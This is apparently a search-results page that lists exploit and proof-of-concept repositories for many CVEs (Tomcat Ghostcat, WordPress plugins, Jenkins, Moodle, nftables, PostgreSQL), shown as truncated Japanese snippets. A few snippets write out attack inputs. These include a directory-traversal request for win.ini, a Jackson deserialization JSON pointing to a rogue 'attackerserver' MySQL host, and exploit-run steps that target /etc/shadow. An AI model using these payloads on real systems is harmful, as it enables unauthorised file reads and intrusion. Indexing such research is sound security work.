156635 matches found
IntelTXE-PoC
免責事項 すべての情報は教育目的でのみ提供されています。これらの手順は自己責任で実行してください。著者およびその雇用主は、このページに含まれる情報に基づいて行動した、または行動しなかった個人または組織から生じる直接的または結果的な損害または損失について一切責任を負いません。 目次 はじめに 必要なソフトウェア ペイロードの生成 ロック解除トークンの生成 SPIフラッシュイメージの準備 ファームウェアイメージへのファイル統合 OEM署名の無効化 ファームウェアイメージの構築 メインCPUの立ち上げ SPIフラッシュへのイメージ書き込み USBデバッグケーブルの準備...
CVE-2020-1938-Tomcat-AJP-Ghostcat--Analysis
CVE-2020-1938 Tomcat AJP Ghostcat 解析 このリポジトリには、CVE-2020-1938 Ghostcat に関するMarkdown形式の解析レポートと、レポートで使用されている画像アセットが含まれています。 目次 レポート: docs/report/CVE-2020-1938-Analysis-Report.md 画像: docs/images レポートの範囲 レポートは以下を中心に構成されています: 脆弱性の背景 PoCを用いた攻撃フロー Tomcatのソースコードに基づく根本原因分析 ファイル読み取りとJSP実行のトリガー条件 Tomcat 9.0....
CVE-2024-32399
CVE-2024-32399 脆弱性概要 RaidenMAILD Mail Server v.4.9.4 およびそれ以前のバージョンにおけるディレクトリトラバーサル脆弱性により、リモートの攻撃者が /webeditor/ コンポーネントを介して機密情報を取得可能です。 脆弱性の種類 ディレクトリトラバーサル 製品ベンダー RaidenMAILD Mail Server 影響を受けるバージョン RaidenMAILD Mail Server = 4.9.4 概念実証 リクエスト: GET /webeditor/../../../windows/win.ini HTTP/1.1 Host:...
CVE-2024-9224
CVE-2024-9224 Hello World = 2.1.1 - 認証済み（Subscriber+）任意ファイル読み取り 説明 WordPress 用 Hello World プラグインは、バージョン 2.1.1 以前のすべてのバージョンにおいて、helloworldlyric 関数を介して任意ファイル読み取りの脆弱性の影響を受けます。これにより、Subscriber レベルのアクセス権以上を持つ認証済みの攻撃者が、サーバー上の任意のファイルの内容を読み取ることが可能になり、そのファイルには機密情報が含まれる可能性があります。 情報 Published: 2024-09-30...
CVE-2024-7135
CVE-2024-7135 Tainacan = 0.21.7 - 認証済み（購読者以上）による任意ファイル読み取りを可能にする認可の欠如 説明 WordPress用プラグインTainacanは、バージョン0.21.7までの全バージョンにおいて、'getfile'関数に対する権限チェックが欠如しているため、データへの不正アクセスに対して脆弱です。この関数はディレクトリトラバーサルに対しても脆弱です。これにより、購読者以上のアクセス権限を持つ認証済み攻撃者が、サーバー上の任意のファイルの内容を読み取ることが可能となり、そのファイルには機密情報が含まれる可能性があります。 情報 Type:...
CVE-2015-4495
CVE-2015-4495 CVE-2015-4495 / mfsa2015-78 用エクスプロイト 使い方 parsedirectorylisting 関数にロジックを追加してください。 使用方法 $ git clone https://github.com/vincd/CVE-2015-4495.git $ cd CVE-2015-4495 $ python -m SimpleHTTPServer 次に、パッチ未適用の Firefox（バージョン 39.0.3）を開きます。/ の内容を含むポップアップが表示されるはずです。 クレジット...
CVE-2018-7422
CVE-2018-7422 CVE-2018-7422 のエクスプロイト: WordPress プラグイン Site Editor 1.1.1 におけるローカルファイルインクルード T1574.008 構文 ruby ラボ環境 OffSec Proving Grounds - Readys 使用方法...
Exploit for Path Traversal in Jenkins
\ CVE-2024-23897 — Jenkins CLI Arbitrary File Read Lab \ 1...
CVE-2024-5633
CVE-2024-5633 の PoC Longse 製 LBH30FE200W カメラ、およびこのデバイスをベースにした製品は、同一ローカルネットワーク内の攻撃者に対し、いずれかのポート上で動作する未文書化のバイナリサービス CoolView への無制限のアクセスを提供します。利用可能なコマンドを知っている攻撃者は、デバイスのメモリに対して読み取り/書き込み操作を実行できます。これにより、例えば telnet ログインを回避してデバイスへの完全なアクセスを取得する可能性があります。 https://vulners.com/cve/CVE-2024-5633...
CVE-2024-50404
CVE-2024-50404 https://www.qnap.com/en/security-advisory/qsa-24-48 https://www.cve.org/CVERecord?id=2024-50404 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N 6.8 "Qsync Central にリンク追従の脆弱性が報告されています。この脆弱性が悪用されると、ユーザーアクセスを取得したリモートの攻撃者がファイルシステムを意図しない場所にたどることができる可能性があります。" 発見日： 22 Apr...
CVE-2020-5902
CVE-2020-5902 CVE-2020-5902（F5 BIG-IP デバイス）をチェックする Python スクリプト。 使用方法 python3 CVE-2020-5902.py -i 出力例 - Python script to check CVE-2020-5902 F5 BIG-IP devices. | coded by Abdullah AlZahrani ! ターゲット: 127.0.0.1 I /etc/passwd 読み取り可能 PoC...
CVE-2009-0229-PoC
CVE-2009-0229-PoC CVE-2009-0229 "打印后台处理程序读取文件漏洞" LPE AFR 的PoC（与 CVE-2020-1048 相关） 详情 作者：Andrei Costin [email protected] https://twitter.com/costinandrei/ PoC 日期：2010-xx-xx 发布日期：2020-05-14（受 CVE-2020-1048 提醒/启发——是的，我来晚了 :D ） 摘要 如果你想找0day，那就挖掘操作系统的打印和传真子系统吧 : —— 由于历史原因存在大量遗留代码——每个人都有漏洞可挖 = 说明...
cve-2018-4233
CVE-2018-4233 CVE-2018-4233 のエクスプロイト、WebKit の JIT コンパイラのバグ。Safari 11.0.3 macOS 10.13.3 でテスト済み。 詳細は https://saelo.github.io/presentations/blackhatus18attackingclientsidejitcompilers.pdf を参照してください。 このエクスプロイトは、addrof および fakeobj プリミティブを構築し、その後 typed array を偽装することで任意のメモリ読み書きを実現します。詳細は...
CVE-2024-1561
CVE-2024-1561 PoC スクリプト これはCVE-2024-1561用のProof of Concept（PoC）スクリプトです。 CVEの詳細なwriteupはこちらで確認してください：https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338 影響を受けるバージョン：Gradio 4.12.0 これはこのPR（https://github.com/gradio-app/gradio/pull/6884）で修正され、バージョン4.13.0でリリースされました。 使用方法 1...
CVE-2022-35650
CVE-2022-35650 これはMoodleにおける任意のファイル読み取りです。 前提条件 教師または管理者レベルのユーザーを侵害している必要があります。 手順 1. このリポジトリをクローンします: git clone https://github.com/Gr4y-r0se/CVE-2022-35650.git 2. 次のコマンドでエクスプロイトをzipに圧縮します zip exploit.zip imsmanifest.xml pool.dat 3. 自分のアカウントに書き込みアクセス権があるコースに移動します。 4. 「Question Bank」に移動します。 5...
nftables-oob-read-write-exploit-CVE-2023-35001-
nftables oob 読み取り/書き込みエクスプロイト CVE-2023-35001 pwn2own Vancouver 2023 で Ubuntu デスクトップに対して使用されたエクスプロイトです。このエクスプロイトは、イベント開始時点で利用可能だったカーネルバージョン 5.19.0-35 をサポートしています。 必要条件 C コンパイラ Go コンパイラ 使用方法 Build $ make Run $ ./exploit これにより、ターゲット上で展開可能な lpe.zip ファイルが生成されます。アーカイブ内には以下の 2 つのバイナリが含まれています。 wrapper :...
CVE-2024-41628
CVE-2024-41628 Redshift Cyber Security によって開発された、ClusterControl の LFI 脆弱性 CVE-2024-41628 を悪用するためのシンプルなエクスプロイトスクリプトです。 この脆弱性は CMON API、特にデフォルトでそれぞれポート 9500 と 9501 で動作する RPC および RPC-TLS ユーザーインターフェースに影響します。 ClusterControl は通常 root として実行されるため、任意のシステムファイルを取得できます。 取得可能なファイルの例: /etc/shadow /etc/passwd...
CVE-2019-12086
ドキュメント説明 CVE-2019-12086 Jackson のデシリアライゼーション 脆弱性の悪用 1. 悪意のあるMySQLサーバーを起動： python roguemysqlserver.py 2. 同じディレクトリで mysql.log を確認： tail -f mysql.log 3. 脆弱性のあるアプリケーションに以下のJSONを送信： "com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attackerserver:port/foo" Jackson...
CVE-2025-1094-Exploit
CVE-2025-1094: WebSocket経由のSQLインジェクションからRCEへ 🚀 このリポジトリには、CVE-2025-1094 （PostgreSQLの脆弱性）の概念実証（PoC）エクスプロイトが含まれています。この脆弱性により、WebSocketハイジャッキングを通じてSQLインジェクション（SQLi）攻撃をリモートコード実行（RCE）にエスカレーションできます。 概要...